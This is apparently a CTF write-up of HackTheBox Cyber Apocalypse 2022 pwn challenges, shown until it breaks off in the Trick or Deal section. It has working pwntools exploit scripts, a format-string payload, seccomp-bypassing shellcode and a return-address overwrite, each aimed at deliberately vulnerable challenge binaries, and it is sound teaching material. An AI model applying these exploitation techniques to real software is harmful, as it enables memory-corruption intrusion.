HackTheBox Cyber Apocalypse CTF 2022 – Intergalactic Chase (pwn) write-up

Hi everyone! This article is on HackTheBox’s Cyber Apocalypse CTF 2022 on pwn only. The event lasted from 14/5/2022 – 19/5/2022. Let’s get started!

1. Challenges

  • Space Pirate: Entrypoint
    • Format string attack on x64 ELF file to overwrite a stack variable’s value.
  • Space pirate: Going Deeper
    • Understanding on strncmp() terminating condition.
  • Fleet Management
    • Shellcoding with seccomp restriction using only sys_openat and sys_sendfile.
  • Hellbound
    • Exploit linked list traversal, ability to write to heap memory, and leaked stack address to overwrite return address for ret2win.
  • Trick or Deal
    • Use-after-free vulnerability to bypass ASLR by leaking an address and also jump to win function.
  • Vault-breaker
    • Exploiting a NULL terminator in strcpy() to NULL a stored key that will be used to XOR the flag later.

2. Space Pirate: Entrypoint

2.1 Files provided

2.2 Overview

In main(), we can see if we choose option 1, there is a format string vulnerability.

If we choose option 2, we go to check_pass(). However, there is no vulnerability here.

If we manage to access open_door() via option 1 or 2, the flag will be printed for us.

2.3 Study the format string vulnerability

If we look at main() where the format string vulnerability is at, we can see that to go to open_door(), there is a condition where it compares the value in v5[0] with 3735884599 (0xDEAD1337). The original value of v5[0] is 3735928559 (0xDEADBEEF). Since v5[1] contains the address of v5[0], we can use format string vulnerability to overwrite content in v5[0].

By running the program, we can see that v5[0] is at offset 6 while v5[1] is at offset 7.

We can also use GDB to provide v5[1] contains address of v5[0].

Breakpoint 1, 0x0000555555400d9a in main ()                                                                                                                                                                         
(gdb) x/50wx $rsp
0x7fffffffdf20: 0xdead0005      0x00000000      0xffffdf20      0x00007fff
0x7fffffffdf30: 0x25633525      0x6e682437      0x0000000a      0x00000000
0x7fffffffdf40: 0x55400e20      0x00005555      0x55400940      0x00005555
0x7fffffffdf50: 0xffffe040      0x00007fff      0x64bd6f00      0x1fb138ae
0x7fffffffdf60: 0x55400e20      0x00005555      0xf7a03c87      0x00007fff
0x7fffffffdf70: 0x00000001      0x00000000      0xffffe048      0x00007fff
0x7fffffffdf80: 0x00008000      0x00000001      0x55400cf6      0x00005555
0x7fffffffdf90: 0x00000000      0x00000000      0x2f959013      0xd2691425
0x7fffffffdfa0: 0x55400940      0x00005555      0xffffe040      0x00007fff
0x7fffffffdfb0: 0x00000000      0x00000000      0x00000000      0x00000000
0x7fffffffdfc0: 0x8d359013      0x873c415a      0x4bab9013      0x873c51e5
0x7fffffffdfd0: 0x00000000      0x00007fff      0x00000000      0x00000000
0x7fffffffdfe0: 0x00000000      0x00000000
(gdb) 

Therefore, we just need to overwrite the first 2 bytes of v5[0] via %7$h with the value 0x1337 (4919). This will allow us to pass the condition test later.

2.4 Get flag

kali@kali~$ nc 167.71.137.43 31815

                                                                                                                                                                                                                    
                         Authentication System                                                                                                                                                                      
                                                                                                                                                                                                                    
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓                                                                                                                                    
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓                                                                                                                                    
▓▓▓▓▓▓▓▓▓▓          ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓          ▓▓▓▓▓▓▓▓▓                                                                                                                                    
▓▓▓▓▓▓▓▓▓▓          ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓          ▓▓▓▓▓▓▓▓▓                                                                                                                                    
▓▓▓▓▓▓▓▓▓▓          ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓          ▓▓▓▓▓▓▓▓▓                                                                                                                                    
▓▓▓▓▓▓▓▓▓▓     ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓     ▓▓▓▓▓▓▓▓▓                                                                                                                                    
▓▓▓▓▓▓▓▓▓▓     ▓▓▓▒▒▓▓▓▒▒▒▒▒▓▓▒░▒▓▓▓░░▓▓▓▓▓  ░  ▓▓▓  ▓▓▓  ▓▓▓  ▓▓▓     ▓▓▓▓▓▓▓▓▓                                                                                                                                    
▓▓▓▓▓▓▓▓▓▓     ▓▓▓▒▒▓▓▓▒▒▒▒▒▓▓░░░▓▓▓▒░▓▓▓▓▓ ░   ▓▓▓  ▓▓▓  ▓▓▓  ▓▓▓     ▓▓▓▓▓▓▓▓▓                                                                                                                                    
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒▒▒▒▒▓▓░░░▓▓▓░░▓▓▓▓▓     ▓▓▓  ▓▓▓  ▓▓▓  ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓                                                                                                                                    
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒▒▒▒░▓▓░░░▓▓▓░░▓▓▓▓▓     ▓▓▓  ▓▓▓  ▓▓▓  ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓                                                                                                                                    
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒▒▒▒▒▓▓▒░░▓▓▓░░▓▓▓▓▓     ▓▓▓  ▓▓▓  ▓▓▓  ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓                                                                                                                                    
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒▒▒▒░▓▓░░░▓▓▓░ ▓▓▓▓▓     ▓▓▓  ▓▓▓  ▓▓▓  ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓                                                                                                                                    
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒▒▒▒▒▓▓░░░▓▓▒░░▓▓▓▓▓     ▓▓▓  ▓▓▓  ▓▓▓  ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓                                                                                                                                    
▓▓▓▓▓▓▓▓▓▓▓▓                                                        ▓▓▓▓▓▓▓▓▓▓▓▓                                                                                                                                    
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒▒░░░▓▓░░░▓▓▒░ ▓▓▓▓▓     ▓▓▓  ▓▓▓  ▓▓▓  ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓                                                                                                                                    
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒░░░▒▓▓░░░▓▓▒ ░▓▓▓▓▓     ▓▓▓  ▓▓▓  ▓▓▓  ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓                                                                                                                                    
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓░░░░░▓▓░░░▓▓▓  ▓▓▓▓▓     ▓▓▓  ▓▓▓  ▓▓▓  ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓                                                                                                                                    
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒░▓▓▓▒░░░░▓▓▒  ▓▓▒  ▓▓▓▓▓     ▓▓▓  ▓▓▓  ▓▓▓  ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓                                                                                                                                    
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓     ▓▓▓▓▓▓▓▓▓▓▓▓▓  ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓                                                                                                                                    
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓░▒░░░▓▓░  ▓▓▒  ▓▓▓▓▓     ▓▓▓  ▓▓▓  ▓▓▓  ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓                                                                                                                                    
▓▓▓▓▓▓▓▓▓▓     ▓▓▓░▒▓▓▓░░░░░▓▓░  ▓▓▒  ▓▓▓▓▓     ▓▓▓  ▓▓▓  ▓▓▓  ▓▓▓     ▓▓▓▓▓▓▓▓▓                                                                                                                                    
▓▓▓▓▓▓▓▓▓▓     ▓▓▓▒░▓▓▓░░░░ ▓▓   ▓▓▒  ▓▓▓▓▓     ▓▓▓  ▓▓▓  ▓▓▓  ▓▓▓     ▓▓▓▓▓▓▓▓▓                                                                                                                                    
▓▓▓▓▓▓▓▓▓▓     ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓     ▓▓▓▓▓▓▓▓▓                                                                                                                                    
▓▓▓▓▓▓▓▓▓▓          ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓          ▓▓▓▓▓▓▓▓▓                                                                                                                                    
▓▓▓▓▓▓▓▓▓▓          ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓          ▓▓▓▓▓▓▓▓▓                                                                                                                                    
▓▓▓▓▓▓▓▓▓▓          ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓          ▓▓▓▓▓▓▓▓▓                                                                                                                                    
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓                                                                                                                                    
                                                                                                                                                                                                                    
                                                                                                                                                                                                                    
1. Scan card 💳                                                                                                                                                                                                     
2. Insert password ↪                                                                                                                                                                                                
> 1                                                                                                                                                                                                                 
                                                                                                                                                                                                                    
[!] Scanning card.. Something is wrong!                                                                                                                                                                             
                                                                                                                                                                                                                    
Insert card's serial number: %4919c%7$hn                                                                                                                                                                            
                                                                                                                                                                                                                    
Your card is:                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       �                                                                                                                                                           
                                                                                                                                                                                                                    
[+] Door opened, you can proceed with the passphrase: HTB{th3_g4t35_4r3_0p3n!}

3. Space pirate: Going Deeper

3.1 Files provided

3.2 Overview

We can see that as long as we choose option 1 or 2, it is the same. Input will be prompted where we can write up to a maximum of 0x39 bytes of characters to the buf variable. The buf variable will be compared to a 0x34 length string. Therefore, we just need to supply the same string as input.

However, the tricky thing is since read() is used, NULL string terminator, b’\x00′, will not be included and a new line character, ‘\n’, will be included. strncmp() will compare strings until the NULL string terminator. Hence we will have to include b’\x00′ in our input. In pwntools, we will use sendafter() instead to not include ‘\n’. Otherwise, it will be used as part of the comparison.

3.3 Craft exploit and get the flag

Below shows sp_going_deeper_exploit.py:

from pwn import *

r = remote("157.245.46.136", 30609)

r.sendlineafter(b'>> ', b'1')
r.sendafter(b'[*] Input: ', b'DRAEGER15th30n34nd0nly4dm1n15tr4t0R0fth15sp4c3cr4ft\x00')

r.interactive()
kali@kali~$ python3 sp_going_deeper_exploit.py
[+] Opening connection to 157.245.46.136 on port 30609: Done
[*] Switching to interactive mode

[+] Welcome admin! The secret message is: HTB{n0_n33d_2_ch4ng3_m3ch5_wh3n_u_h4v3_fl0w_r3d1r3ct}
[!] For security reasons, you are logged out..

[*] Got EOF while reading in interactive
$ 

4. Fleet Management

4.1 Files provided

4.2 Overview

There is nothing interesting in main(). It will go to menu() eventually.

In menu(), we can see there is an interesting choice/case which is value 9 which is not part of the printed to console choices shown in the menu. Inputting that will go to beta_feature().

void __noreturn menu()
{
  char s[3]; // [rsp+5h] [rbp-Bh] BYREF
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  memset(s, 0, sizeof(s));
  while ( 1 )
  {
    fwrite("\n-_-_-_-_-_-_-_-_-_-_-_-_-\n", 1uLL, 0x1BuLL, _bss_start);
    fwrite("|                        |\n", 1uLL, 0x1BuLL, _bss_start);
    fwrite("|  [1] View the Fleet    |\n", 1uLL, 0x1BuLL, _bss_start);
    fwrite("|  [2] Control Panel     |\n", 1uLL, 0x1BuLL, _bss_start);
    fwrite("|  [3] User Settings     |\n", 1uLL, 0x1BuLL, _bss_start);
    fwrite("|  [4] Exit              |\n", 1uLL, 0x1BuLL, _bss_start);
    fwrite("|                        |\n", 1uLL, 0x1BuLL, _bss_start);
    fwrite("-_-_-_-_-_-_-_-_-_-_-_-_-\n", 1uLL, 0x1AuLL, _bss_start);
    fwrite("\n[*] What do you want to do? ", 1uLL, 0x1DuLL, _bss_start);
    read(0, s, 2uLL);
    switch ( s[0] )
    {
      case '1':
        fprintf(_bss_start, "\n%s[*] Connecting to the Encrypted channel . . .\n%s", "\x1B[1;32m", "\x1B[1;36m");
        sleep(1u);
        fprintf(_bss_start, "\n%s[*] Fetching Data . . .\n%s", "\x1B[1;32m", "\x1B[1;36m");
        sleep(1u);
        fwrite("\n=============================\n", 1uLL, 0x1FuLL, _bss_start);
        fprintf(
          _bss_start,
          "| %s PDS Thanatos - %s[%sActive%s]%s  |\n",
          "\x1B[1;37m",
          "\x1B[1;30m",
          "\x1B[1;32m",
          "\x1B[1;30m",
          "\x1B[1;36m");
        fprintf(
          _bss_start,
          "| %s CS Meteor    - %s[%sActive%s]%s  |\n",
          "\x1B[1;37m",
          "\x1B[1;30m",
          "\x1B[1;32m",
          "\x1B[1;30m",
          "\x1B[1;36m");
        fprintf(
          _bss_start,
          "| %s LWS Proximo  - %s[%sActive%s]%s  |\n",
          "\x1B[1;37m",
          "\x1B[1;30m",
          "\x1B[1;32m",
          "\x1B[1;30m",
          "\x1B[1;36m");
        fprintf(
          _bss_start,
          "| %s STS Goliath  - %s[%sInactive%s]%s|\n",
          "\x1B[1;37m",
          "\x1B[1;30m",
          "\x1B[1;91m",
          "\x1B[1;30m",
          "\x1B[1;36m");
        fwrite("=============================\n", 1uLL, 0x1EuLL, _bss_start);
        fwrite("\nKey:\n", 1uLL, 6uLL, _bss_start);
        fprintf(_bss_start, "%sPDS: Planet Destroyer Ship\n", "\x1B[1;37m");
        fwrite("CS: Combat Spaceship\n", 1uLL, 0x15uLL, _bss_start);
        fwrite("LWS: Light Weight Spaceship\n", 1uLL, 0x1CuLL, _bss_start);
        fprintf(_bss_start, "STS: Space Transportation Ship%s\n", "\x1B[1;36m");
        continue;
      case '2':
        fprintf(_bss_start, "\n%s[*] Authenticating . . .\n%s", "\x1B[1;32m", "\x1B[1;36m");
        sleep(1u);
        fprintf(_bss_start, "\n%s[!] Error: You are not member of an authorized group.\n%s", "\x1B[1;91m", "\x1B[1;36m");
        continue;
      case '3':
        fprintf(_bss_start, "\n%s[!] Error: You should authenticate first.\n%s", "\x1B[1;91m", "\x1B[1;36m");
        continue;
      case '4':
        fprintf(_bss_start, "\n[*] Bye! %s\n", "\x1B[1;0m");
        exit(0);
      case '9':
        beta_feature();
        goto LABEL_8;
      default:
LABEL_8:
        fprintf(_bss_start, "\n%s[!] Error: Invalid Option.\n%s", "\x1B[1;91m", "\x1B[1;36m");
        break;
    }
  }
}

In beta_feature(), we can see that mprotect() helps to set the buf variable to be executable. We also can see during returning of beta_feature(), the buf‘s content is executed like a function. The buf‘s content comes from our input. This means we just have to supply a shellcode and the program will execute our shellcode. However, what is interesting is skid_check() which contains something that makes our challenge harder.

In skid_check(), we can see that seccomp_intit() is used. This is followed by a number of seccomp_rule_add() which makes our shellcode challenge harder. If you read the seccomp_rule_add() documentation, you will see the purpose of each function argument. 2147418112 (0x7fff0000) is actually SCMP_ACT_ALLOW based on the seccomp’s library here. You can refer to the syscall number here which the syscall number is shown in the RAX column.

So now we know that seccomp makes our life harder by only allowing the following syscalls.

sys_exit
sys_exit_group
sys_openat
sys_sendfile
sys_rt_sigreturn

4.3 Creating the shellcode

However, since sys_openat and sys_sendfile is available, we can just open the flag file using sys_openat and read from the flag file in the server + print it to the console using sys_sendfile. A quick google allowed me to find a similar CTF that has a similar situation here where only sys_openat and sys_sendfile is available. We just need to modify the shellcode for our challenge.

Note that when you study the shellcode, the numbers set to each register are based on this. Note that the original author used -100 for sys_openat’s RDI which is AT_FDCWD for dfd as shown in this documentation. We can just use a relative path instead since we don’t know the flag’s full path on the server.

Below shows my final shellcode.

xor rdx, rdx                   ; string terminator for "flag.txt"
push rdx
mov rsi, 0x7478742E67616C66    ; "flag.txt" in reverse due to little-endian
push rsi
mov rsi, rsp                   ; set filename address to stack's address
mov rax, 257                   ; so that sys_openat will be called later
mov rdi, -100                  ; set dfd to AT_FDCWD
syscall
mov rsi, rax                   ; set fd to openat()'s result which is flag.txt's fd
mov rax, 40                    ; so that sys_sendfile will be called later
mov rdi, 1                     ; send file's content to stdout
mov r10, 100                   ; set content length to read
syscall

Note that I didn’t set RDX to 0 before the second syscall as the read() in beta_feature() only allows 0x3C bytes. If we have anymore instructions, it will overshoot the limit. Using context.log_level = "debug" in our exploit, we will see the length of data sent to the server. 0x3D is sent but it is fine because the last byte is b’\n’ added by pwntool’s sendline(). Since the maximum number of bytes reached, read() will immediately take in our input without the need for a newline character.

4.4 Craft exploit and get the flag

Below shows my crafted fleet_management_exploit.py.

from pwn import *

context.log_level = "debug"
context.arch = "amd64"

r = remote("138.68.139.197", 31881)
#r = gdb.debug("./fleet_management")

shellcode =  """xor rdx, rdx
                push rdx
                mov rsi, 0x7478742E67616C66
                push rsi
                mov rsi, rsp
                mov rax, 257
                mov rdi, -100
                syscall
                mov rsi, rax
                mov rax, 40
                mov rdi, 1
                mov r10, 100
                syscall
                """
assembled = asm(shellcode)

r.sendlineafter(b'[*] What do you want to do? ', b'9')
r.sendline(assembled)

r.interactive()
kali@kali~$ python3 fleet_management_exploit.py
[+] Opening connection to 138.68.139.197 on port 31881: Done
[DEBUG] cpp -C -nostdinc -undef -P -I/home/kali/.local/lib/python3.9/site-packages/pwnlib/data/includes /dev/stdin
[DEBUG] Assembling
    .section .shellcode,"awx"
    .global _start
    .global __start
    .p2align 2
    _start:
    __start:
    .intel_syntax noprefix
    xor rdx, rdx
                    push rdx
                    mov rsi, 0x7478742E67616C66
                    push rsi
                    mov rsi, rsp
                    mov rax, 257
                    mov rdi, -100
                    syscall
                    mov rsi, rax
                    mov rax, 40
                    mov rdi, 1
                    mov r10, 100
                    syscall
[DEBUG] /usr/bin/x86_64-linux-gnu-as -64 -o /tmp/pwn-asm-mn76ywdu/step2 /tmp/pwn-asm-mn76ywdu/step1
[DEBUG] /usr/bin/x86_64-linux-gnu-objcopy -j .shellcode -Obinary /tmp/pwn-asm-mn76ywdu/step3 /tmp/pwn-asm-mn76ywdu/step4
[DEBUG] Received 0x4b bytes:
    00000000  f0 9f 9b b0  20 1b 5b 31  3b 33 36 6d  20 46 6c 65  │····│ ·[1│;36m│ Fle│
    00000010  65 74 20 4d  61 6e 61 67  65 6d 65 6e  74 20 53 79  │et M│anag│emen│t Sy│
    00000020  73 74 65 6d  20 f0 9f 93  a1 0a 0a 1b  5b 31 3b 33  │stem│ ···│····│[1;3│
    00000030  32 6d 5b 2a  5d 20 4c 6f  61 64 69 6e  67 20 2e 20  │2m[*│] Lo│adin│g . │
    00000040  2e 20 2e 0a  1b 5b 31 3b  33 36 6d                  │. .·│·[1;│36m│
    0000004b
[DEBUG] Received 0xf4 bytes:
    b'\n'
    b'-_-_-_-_-_-_-_-_-_-_-_-_-\n'
    b'|                        |\n'
    b'|  [1] View the Fleet    |\n'
    b'|  [2] Control Panel     |\n'
    b'|  [3] User Settings     |\n'
    b'|  [4] Exit              |\n'
    b'|                        |\n'
    b'-_-_-_-_-_-_-_-_-_-_-_-_-\n'
    b'\n'
    b'[*] What do you want to do? '
[DEBUG] Sent 0x2 bytes:
    b'9\n'
[DEBUG] Sent 0x3d bytes:
    00000000  48 31 d2 52  48 be 66 6c  61 67 2e 74  78 74 56 48  │H1·R│H·fl│ag.t│xtVH│
    00000010  89 e6 48 c7  c0 01 01 00  00 48 c7 c7  9c ff ff ff  │··H·│····│·H··│····│
    00000020  0f 05 48 89  c6 48 c7 c0  28 00 00 00  48 c7 c7 01  │··H·│·H··│(···│H···│
    00000030  00 00 00 49  c7 c2 64 00  00 00 0f 05  0a           │···I│··d·│····│·│
    0000003d
[*] Switching to interactive mode
[DEBUG] Received 0x1b bytes:
    b'HTB{backd00r_as_a_f3atur3}\n'
HTB{backd00r_as_a_f3atur3}
[*] Got EOF while reading in interactive

5. Hellbound

5.1 Files provided

5.2 Overview

In main(), there are 4 options for us to choose.

  • Option 1: Print buf‘s address on the stack.
  • Option 2: Write to a heap-based memory of 0x40 bytes in size where which index is 8 bytes. We can write a total of 0x20 bytes (4 indexes) to it.
  • Option 3: Linked list traversal based on heap-based memory’s index 1’s value.
  • Option 69: Exit the program where free() will be called on the heap-based memory stored in buf[0].
int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned __int64 num; // rax
  void *buf[9]; // [rsp+8h] [rbp-48h] BYREF

  buf[8] = (void *)__readfsqword(0x28u);
  setup(argc, argv, envp);
  banner();
  buf[0] = malloc(0x40uLL);
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          printf(aInteractionWit);
          num = read_num();
          if ( num != 2 )
            break;
          printf("\n[*] Write some code: ");
          read(0, buf[0], 0x20uLL);
        }
        if ( num > 2 )
          break;
        if ( num != 1 )
          goto LABEL_13;
        printf("\n[+] In the back of its head you see this serial number: [%ld]\n", buf);
      }
      if ( num != 3 )
        break;
      buf[0] = *((void **)buf[0] + 1);
      printf("%s\n[-] The beast went Berserk again!\n", "\x1B[1;31m");
    }
    if ( num == 69 )
      break;
LABEL_13:
    printf("%s\n\n[-] Invalid option!\n", "\x1B[1;31m");
  }
  free(buf[0]);
  printf("%s[*] The beast seems quiet.. for the moment..\n", "\x1B[1;31m");
  return 0;
}

Since we know that buf[0] contains a heap-based memory in a form of a linked list, we can visualize it as the structure shown below.

struct the_linked_list {
     int value;
     void *next;
     ...
} buf[0];

The linked list traversal on option 3 seems to look complex on C so I show the assembly code of it below which is simpler.

As I saw the x64 ELF binary has system() being imported, a quick dereference allowed me to find the win function which is berserk_mode_off().

5.3 Security settings

kali@kali~$ ~/.local/bin/pwn checksec ./hellhound 
[*] '/home/kali/hellhound'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'./.glibc/'

5.4 Exploit the features available

As we get to see the stack address, we can easily use the linked list to overwrite the return address with the address of berserk_mode_off() which is the win function so that the program jumps to it when exiting.

The exploitation steps in chronological order:

  1. Leak buf‘s stack address via option 1.
  2. Calculate the return address’s location on the stack.
  3. Set the return address’s location on the stack in buf[0].next by option 2.
  4. Go to option 3 to have linked list traversal so that now buf[0] contains the return address’s location on the stack.
    • buf[0].value should contain the original return address value
    • buf[0].next should contain const char **envp but it doesn’t matter to us.
  5. Go to option 2 to overwrite the original return address value with the address of berserk_mode_off() + 1 by writing to buf[0].value.
    • We need overwrite buf[0].next with a NULL pointer for free() later.
    • berserk_mode_off() needs to +1 for stack alignment so that push RBP instruction in berserk_mode_off() will not be executed.
  6. Go to option 3 to have linked list traversal so that now buf[0] contains the NULL pointer so that later during exiting of the program, free(buf[0]) which is free(NULL) won’t have an error.
  7. Go to option 69 to exit the program.

5.5 Craft exploit and get the flag

Below shows my crafted hellhound_exploit.py:

from pwn import *

context.arch = "amd64"

r = remote("178.62.73.26", 31465)
#r = gdb.debug("./hellhound")
elf = ELF("./hellhound")


############## Leak stack's address ##############
r.sendlineafter(b'>> ', b'1')
# to ignore "[+] In the back of its head you see this serial number: ["
r.recvuntil(b'number: [')
# get stack address via getting buf address on stack
stack_addr_of_buf = int(r.recvuntil(b']', drop=True))
log.info("buf address on stack: " + hex(stack_addr_of_buf))



############## Overwrite ret address with berserk_mode_off()+1 ##############
# buf has a size of 0x48. RBP has a size of 0x8
stack_addr_of_ret_addr = stack_addr_of_buf + 0x48 + 0x8
log.info("ret address on stack: " + hex(stack_addr_of_ret_addr))

# to write ret address location on stack at "next" location
value = b'A' * 8
next = p64(stack_addr_of_ret_addr)
payload = value + next

r.sendlineafter(b'>> ', b'2')
r.sendlineafter(b'[*] Write some code: ', payload)


# trigger linked list traversal so buf[0] == ret address location on stack
r.sendlineafter(b'>> ', b'3')


# to overwrite ret address with berserk_mode_off()+1 at "value" location.
# +1 to berserk_mode_off()'s address due to stack alignment
value = p64(elf.symbols['berserk_mode_off']+1)
next = b'\x00\x00\x00\x00\x00\x00\x00\x00'
payload = value + next

r.sendlineafter(b'>> ', b'2')
r.sendlineafter(b'[*] Write some code: ', payload)


# trigger linked list traversal so buf[0] == NULL pointer so that later free(NULL) during exit of main()
r.sendlineafter(b'>> ', b'3')


# exit program to trigger free() to run berserk_mode_off() instead 
r.sendlineafter(b'>> ', b'69')


r.interactive()

kali@kali~$ python3 hellhound_exploit.py
[+] Opening connection to 178.62.73.26 on port 31465: Done
[*] '/home/kali/Desktop/hellhound'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'./.glibc/'
[*] buf address on stack: 0x7ffecfe02c38
[*] ret address on stack: 0x7ffecfe02c88
[*] Switching to interactive mode
[*] The beast seems quiet.. for the moment..                                                                                                                                                                        
HTB{1t5_5p1r1t_15_5tr0ng3r_th4n_m0d1f1c4t10n5}
[*] Got EOF while reading in interactive
$ 

6. Trick or Deal

6.1 Files provided

6.2 Overview

In main() setting up is done before going to menu(). Before showing you the content of menu(), I would like to show you update_weapons() as contains important information to help us with the exploitation.

In update_weapons(), we can see storage is a heap-based memory with a size of 0x50 bytes. The first 0x48 bytes (index 0 to 8) store a string regarding what weapons are available. The last 8 bytes which is storage[9] store the address of printStorage().

Below shows the assembly code of update_weapons so that we can see the address of printStorage() is indeed stored at the 0x48 bytes of storage which isn’t shown that clearly in the decompiled code.

printStorage() which is stored in storage[9] will print what weapons are available.

In menu(), we can see there are 5 options that will call different functions. Below contains a summary of what each option and function does.

  • Option 1: Calls storage[9] that contain the address of printStorage(). This means calling calling printStorage().
  • Option 2: Calls buy(). Nothing is useful in this function.
  • Option 3: Calls make_offer(). We can specify the heap memory size we would like to create via malloc() and we can write then content to the newly created heap memory based on the size we just stated.
  • Option 4: Calls steal(). Free the heap space whose address is stored in storage.
  • Option 5: Exit the program.
void __noreturn menu()
{
  char s[3]; // [rsp+Dh] [rbp-3h] BYREF

  memset(s, 0, sizeof(s));
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        fwrite("\n-_-_-_-_-_-_-_-_-_-_-_-_-\n", 1uLL, 0x1BuLL, stdout);
        fwrite("|                       |\n", 1uLL, 0x1AuLL, stdout);
        fwrite("|  [1] See the Weaponry |\n", 1uLL, 0x1AuLL, stdout);
        fwrite("|  [2] Buy Weapons      |\n", 1uLL, 0x1AuLL, stdout);
        fwrite("|  [3] Make an Offer    |\n", 1uLL, 0x1AuLL, stdout);
        fwrite("|  [4] Try to Steal     |\n", 1uLL, 0x1AuLL, stdout);
        fwrite("|  [5] Leave            |\n", 1uLL, 0x1AuLL, stdout);
        fwrite("|                       |\n", 1uLL, 0x1AuLL, stdout);
        fwrite("-_-_-_-_-_-_-_-_-_-_-_-_-\n", 1uLL, 0x1AuLL, stdout);
        fwrite("\n[*] What do you want to do? ", 1uLL, 0x1DuLL, stdout);
        read(0, s, 2uLL);
        if ( s[0] != '2' )
          break;
        buy();
      }
      if ( s[0] > '2' )
        break;
      if ( s[0] != '1' )
        goto LABEL_13;
      (*((void (**)(void))storage + 9))();
    }
    if ( s[0] == 51 )
    {
      make_offer();
    }
    else
    {
      if ( s[0] != '4' )
      {
LABEL_13:
        fprintf(stdout, "\n[*] Don't ever come back again! %s\n", "\x1B[1;0m");
        exit(0);
      }
      steal();
    }
  }
}

I will only show the decompiled code of make_offer() and steal() as buy() isn’t useful.

Looking at the import table, I saw system(). Quick dereference allows me to find the win function.

6.3 Security settings

kali@kali~$ ~/.local/bin/pwn checksec ./trick_or_deal
[*] '/home/kali/Desktop/trick_or_deal'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
